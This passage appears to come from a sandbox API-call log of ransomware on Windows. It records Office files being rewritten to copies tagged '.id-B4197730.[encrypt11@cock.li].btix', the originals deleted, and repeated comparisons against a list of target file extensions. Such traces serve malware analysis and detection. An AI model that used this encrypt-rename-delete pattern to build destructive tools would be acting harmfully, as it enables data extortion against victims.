office\\root\\integration\\windows8.1-kb2999226-x64.msu.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0141.528] GetLastError () returned 0x0 [0141.528] ReadFile (in: hFile=0x380, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0xf2d1d, lpOverlapped=0x0) returned 1 [0141.583] WriteFile (in: hFile=0x530, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0xf2d20, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0xf2d20, lpOverlapped=0x0) returned 1 [0141.654] ReadFile (in: hFile=0x380, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0141.654] WriteFile (in: hFile=0x530, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x10c, lpOverlapped=0x0) returned 1 [0141.655] SetEndOfFile (hFile=0x530) returned 1 [0141.655] CloseHandle (hObject=0x530) returned 1 [0141.655] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0141.655] SetEndOfFile (hFile=0x380) returned 1 [0141.686] CloseHandle (hObject=0x380) returned 1 [0141.686] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0141.704] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu")) returned 1 [0141.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0141.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0141.744] lstrlenW (lpString=".doc") returned 4 [0141.744] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0141.744] lstrlenW (lpString=".docx") returned 5 [0141.744] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0141.744] lstrlenW (lpString=".pdf") returned 4 [0141.744] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0141.744] lstrlenW (lpString=".xls") returned 4 [0141.744] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0141.744] lstrlenW (lpString=".xlsx") returned 5 [0141.744] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0141.744] lstrlenW (lpString=".ppt") returned 4 [0141.744] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0141.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0141.744] lstrlenW (lpString=".zip") returned 4 [0141.744] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0141.759] lstrlenW (lpString=".rar") returned 4 [0141.759] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0141.759] lstrlenW (lpString=".bz2") returned 4 [0141.759] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0141.759] lstrlenW (lpString=".7z") returned 3 [0141.759] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0141.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0141.759] lstrlenW (lpString=".dbf") returned 4 [0141.759] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0141.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0141.759] lstrlenW (lpString=".1cd") returned 4 [0141.759] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0141.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0141.759] lstrlenW (lpString=".jpg") returned 4 [0141.759] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0141.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0141.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0141.759] lstrlenW (lpString=".doc") returned 4 [0141.759] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0141.759] lstrlenW (lpString=".docx") returned 5 [0141.759] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0141.759] lstrlenW (lpString=".pdf") returned 4 [0141.759] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0141.760] lstrlenW (lpString=".xls") returned 4 [0141.760] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0141.760] lstrlenW (lpString=".xlsx") returned 5 [0141.760] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0141.760] lstrlenW (lpString=".ppt") returned 4 [0141.760] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0141.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0141.760] lstrlenW (lpString=".zip") returned 4 [0141.760] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0141.760] lstrlenW (lpString=".rar") returned 4 [0141.760] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0141.760] lstrlenW (lpString=".bz2") returned 4 [0141.760] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0141.760] lstrlenW (lpString=".7z") returned 3 [0141.760] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0141.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0141.760] lstrlenW (lpString=".dbf") returned 4 [0141.760] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0141.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0141.760] lstrlenW (lpString=".1cd") returned 4 [0141.760] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0141.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0141.760] lstrlenW (lpString=".jpg") returned 4 [0141.760] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0141.760] lstrcmpiW (lpString1=".xrm-ms", lpString2=".btix") returned 1 [0141.761] lstrlenW (lpString="AccessR_OEM_Perp-pl.xrm-ms") returned 26 [0141.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0141.761] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=10639) returned 1 [0141.761] CloseHandle (hObject=0x38c) returned 1 [0141.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms")) returned 0x220 [0141.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0141.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0141.762] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0141.762] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0141.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0141.763] GetLastError () returned 0x0 [0141.763] ReadFile (in: hFile=0x38c, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x298f, lpOverlapped=0x0) returned 1 [0141.796] WriteFile (in: hFile=0x380, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x2990, lpOverlapped=0x0) returned 1 [0141.797] ReadFile (in: hFile=0x38c, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0141.798] WriteFile (in: hFile=0x380, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x108, lpOverlapped=0x0) returned 1 [0141.798] SetEndOfFile (hFile=0x380) returned 1 [0141.798] CloseHandle (hObject=0x380) returned 1 [0141.798] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0141.798] SetEndOfFile (hFile=0x38c) returned 1 [0141.807] CloseHandle (hObject=0x38c) returned 1 [0141.808] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0141.808] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms")) returned 1 [0141.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0141.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0141.809] lstrlenW (lpString=".doc") returned 4 [0141.809] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0141.809] lstrlenW (lpString=".docx") returned 5 [0141.809] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0141.809] lstrlenW (lpString=".pdf") returned 4 [0141.809] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0141.809] lstrlenW (lpString=".xls") returned 4 [0141.809] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0141.809] lstrlenW (lpString=".xlsx") returned 5 [0141.809] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0141.809] lstrlenW (lpString=".ppt") returned 4 [0141.809] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0141.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0141.809] lstrlenW (lpString=".zip") returned 4 [0141.809] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0141.809] lstrlenW (lpString=".rar") returned 4 [0141.809] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0141.809] lstrlenW (lpString=".bz2") returned 4 [0141.809] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0141.809] lstrlenW (lpString=".7z") returned 3 [0141.809] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0141.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0141.810] lstrlenW (lpString=".dbf") returned 4 [0141.810] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0141.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0141.810] lstrlenW (lpString=".1cd") returned 4 [0141.810] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0141.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0141.810] lstrlenW (lpString=".jpg") returned 4 [0141.810] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0141.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0141.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0141.810] lstrlenW (lpString=".doc") returned 4 [0141.810] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0141.810] lstrlenW (lpString=".docx") returned 5 [0141.810] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0141.810] lstrlenW (lpString=".pdf") returned 4 [0141.810] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0141.810] lstrlenW (lpString=".xls") returned 4 [0141.810] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0141.810] lstrlenW (lpString=".xlsx") returned 5 [0141.810] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0141.810] lstrlenW (lpString=".ppt") returned 4 [0141.810] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0141.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0141.810] lstrlenW (lpString=".zip") returned 4 [0141.810] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0141.810] lstrlenW (lpString=".rar") returned 4 [0141.810] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0141.810] lstrlenW (lpString=".bz2") returned 4 [0141.810] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0141.810] lstrlenW (lpString=".7z") returned 3 [0141.810] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0141.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0141.811] lstrlenW (lpString=".dbf") returned 4 [0141.811] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0141.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0141.811] lstrlenW (lpString=".1cd") returned 4 [0141.811] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0141.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0141.811] lstrlenW (lpString=".jpg") returned 4 [0141.811] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0141.811] lstrcmpiW (lpString1=".xrm-ms", lpString2=".btix") returned 1 [0141.811] lstrlenW (lpString="AccessR_OEM_Perp-ppd.xrm-ms") returned 27 [0141.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0141.821] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=20780) returned 1 [0141.821] CloseHandle (hObject=0x38c) returned 1 [0141.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms")) returned 0x220 [0141.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0141.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0141.822] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0141.822] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0141.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0141.823] GetLastError () returned 0x0 [0141.823] ReadFile (in: hFile=0x38c, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x512c, lpOverlapped=0x0) returned 1 [0141.831] WriteFile (in: hFile=0x380, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x5130, lpOverlapped=0x0) returned 1 [0141.833] ReadFile (in: hFile=0x38c, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0141.833] WriteFile (in: hFile=0x380, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x10a, lpOverlapped=0x0) returned 1 [0141.833] SetEndOfFile (hFile=0x380) returned 1 [0141.833] CloseHandle (hObject=0x380) returned 1 [0141.833] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0141.833] SetEndOfFile (hFile=0x38c) returned 1 [0141.836] CloseHandle (hObject=0x38c) returned 1 [0141.836] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0141.837] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms")) returned 1 [0141.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0141.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0141.837] lstrlenW (lpString=".doc") returned 4 [0141.837] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0141.837] lstrlenW (lpString=".docx") returned 5 [0141.838] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0141.838] lstrlenW (lpString=".pdf") returned 4 [0141.838] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0141.838] lstrlenW (lpString=".xls") returned 4 [0141.838] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0141.838] lstrlenW (lpString=".xlsx") returned 5 [0141.838] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0141.838] lstrlenW (lpString=".ppt") returned 4 [0141.838] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0141.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0141.838] lstrlenW (lpString=".zip") returned 4 [0141.838] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0141.838] lstrlenW (lpString=".rar") returned 4 [0142.139] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0142.140] lstrlenW (lpString=".bz2") returned 4 [0142.140] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0142.140] lstrlenW (lpString=".7z") returned 3 [0142.140] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0142.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0142.140] lstrlenW (lpString=".dbf") returned 4 [0142.140] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0142.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0142.140] lstrlenW (lpString=".1cd") returned 4 [0142.140] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0142.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0142.140] lstrlenW (lpString=".jpg") returned 4 [0142.140] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0142.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0142.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0142.140] lstrlenW (lpString=".doc") returned 4 [0142.140] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0142.140] lstrlenW (lpString=".docx") returned 5 [0142.140] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0142.140] lstrlenW (lpString=".pdf") returned 4 [0142.140] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0142.140] lstrlenW (lpString=".xls") returned 4 [0142.140] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0142.140] lstrlenW (lpString=".xlsx") returned 5 [0142.140] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0142.140] lstrlenW (lpString=".ppt") returned 4 [0142.140] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0142.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0142.140] lstrlenW (lpString=".zip") returned 4 [0142.140] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0142.141] lstrlenW (lpString=".rar") returned 4 [0142.141] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0142.141] lstrlenW (lpString=".bz2") returned 4 [0142.141] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0142.141] lstrlenW (lpString=".7z") returned 3 [0142.141] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0142.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0142.141] lstrlenW (lpString=".dbf") returned 4 [0142.141] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0142.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0142.141] lstrlenW (lpString=".1cd") returned 4 [0142.141] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0142.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0142.141] lstrlenW (lpString=".jpg") returned 4 [0142.141] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0142.141] lstrcmpiW (lpString1=".xrm-ms", lpString2=".btix") returned 1 [0142.141] lstrlenW (lpString="AccessR_Retail-ppd.xrm-ms") returned 25 [0142.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0142.142] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=20778) returned 1 [0142.142] CloseHandle (hObject=0x4a0) returned 1 [0142.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms")) returned 0x220 [0142.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0142.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0142.142] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.142] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft 